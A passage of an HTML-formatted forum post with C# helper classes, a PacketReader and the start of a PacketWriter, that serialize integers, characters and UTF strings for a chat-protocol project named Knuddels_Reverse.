/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">(</span><span style="color: #0000BB">chararr</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;ReadFully</span><span style="color: #007700">(</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">b</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ReadFully</span><span style="color: #007700">(</span><span style="color: #0000BB">b</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">b</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;ReadFully</span><span style="color: #007700">(</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">b</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;off</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;len</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;n&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">n&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;count&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Read</span><span style="color: #007700">(</span><span style="color: #0000BB">b</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">off&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">n</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">n</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">Exception</span><span style="color: #007700">(</span><span style="color: #DD0000">"EOFException"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">n&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">byte&nbsp;Read</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">buffer</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">offset</span><span style="color: #007700">++&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Boolean&nbsp;ReadBoolean</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">Read</span><span style="color: #007700">()&nbsp;!=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">long&nbsp;ReadLong</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(((</span><span style="color: #0000BB">long</span><span style="color: #007700">)</span><span style="color: #0000BB">buffer</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">offset</span><span style="color: #007700">++&#93;&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #0000BB">56</span><span style="color: #007700">)&nbsp;+<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</span><span style="color: #0000BB">long</span><span style="color: #007700">)(</span><span style="color: #0000BB">buffer</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">offset</span><span style="color: #007700">++&#93;&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">48</span><span style="color: #007700">)&nbsp;+<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</span><span style="color: #0000BB">long</span><span style="color: #007700">)(</span><span style="color: #0000BB">buffer</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">offset</span><span style="color: #007700">++&#93;&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">40</span><span style="color: #007700">)&nbsp;+<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</span><span style="color: #0000BB">long</span><span style="color: #007700">)(</span><span style="color: #0000BB">buffer</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">offset</span><span style="color: #007700">++&#93;&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">32</span><span style="color: #007700">)&nbsp;+<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</span><span style="color: #0000BB">long</span><span style="color: #007700">)(</span><span style="color: #0000BB">buffer</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">offset</span><span style="color: #007700">++&#93;&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">24</span><span style="color: #007700">)&nbsp;+<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</span><span style="color: #0000BB">buffer</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">offset</span><span style="color: #007700">++&#93;&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">16</span><span style="color: #007700">)&nbsp;+<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</span><span style="color: #0000BB">buffer</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">offset</span><span style="color: #007700">++&#93;&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">)&nbsp;+<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</span><span style="color: #0000BB">buffer</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">offset</span><span style="color: #007700">++&#93;&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">short&nbsp;ReadShort</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(</span><span style="color: #0000BB">short</span><span style="color: #007700">)(((</span><span style="color: #0000BB">Read</span><span style="color: #007700">()&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;(</span><span style="color: #0000BB">Read</span><span style="color: #007700">()&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;ReadInt</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;((</span><span style="color: #0000BB">Read</span><span style="color: #007700">()&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">24</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;((</span><span style="color: #0000BB">Read</span><span style="color: #007700">()&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">16</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;((</span><span style="color: #0000BB">Read</span><span style="color: #007700">()&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;(</span><span style="color: #0000BB">Read</span><span style="color: #007700">()&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xFF</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">char&nbsp;ReadChar</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(</span><span style="color: #0000BB">char</span><span style="color: #007700">)((</span><span style="color: #0000BB">Read</span><span style="color: #007700">()&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">)&nbsp;+&nbsp;(</span><span style="color: #0000BB">Read</span><span style="color: #007700">()&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">String&nbsp;ReadString</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;len&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ReadShort</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;builder&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">(</span><span style="color: #0000BB">len</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">((</span><span style="color: #0000BB">char</span><span style="color: #007700">)</span><span style="color: #0000BB">Read</span><span style="color: #007700">());<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>PacketWriter:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"><br />using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Knuddels_Reverse<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">PacketWriter&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">MemoryStream<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;builder</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">PacketWriter</span><span style="color: #007700">()&nbsp;{&nbsp;</span><span style="color: #0000BB">builder&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">override&nbsp;String&nbsp;ToString</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;WriteUTF</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;paramString</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">paramString&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">paramString&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;strlen&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">paramString</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;utflen&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;c</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">strlen</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">paramString</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;((</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">0x0001</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;(</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">0x007F</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">utflen</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">0x07FF</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">utflen&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">utflen&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">utflen&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">65535</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">Exception</span><span style="color: #007700">(</span><span style="color: #DD0000">"Encoded&nbsp;string&nbsp;too&nbsp;long:&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">utflen&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">"&nbsp;bytes"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">bytearr&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">utflen&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;;<br 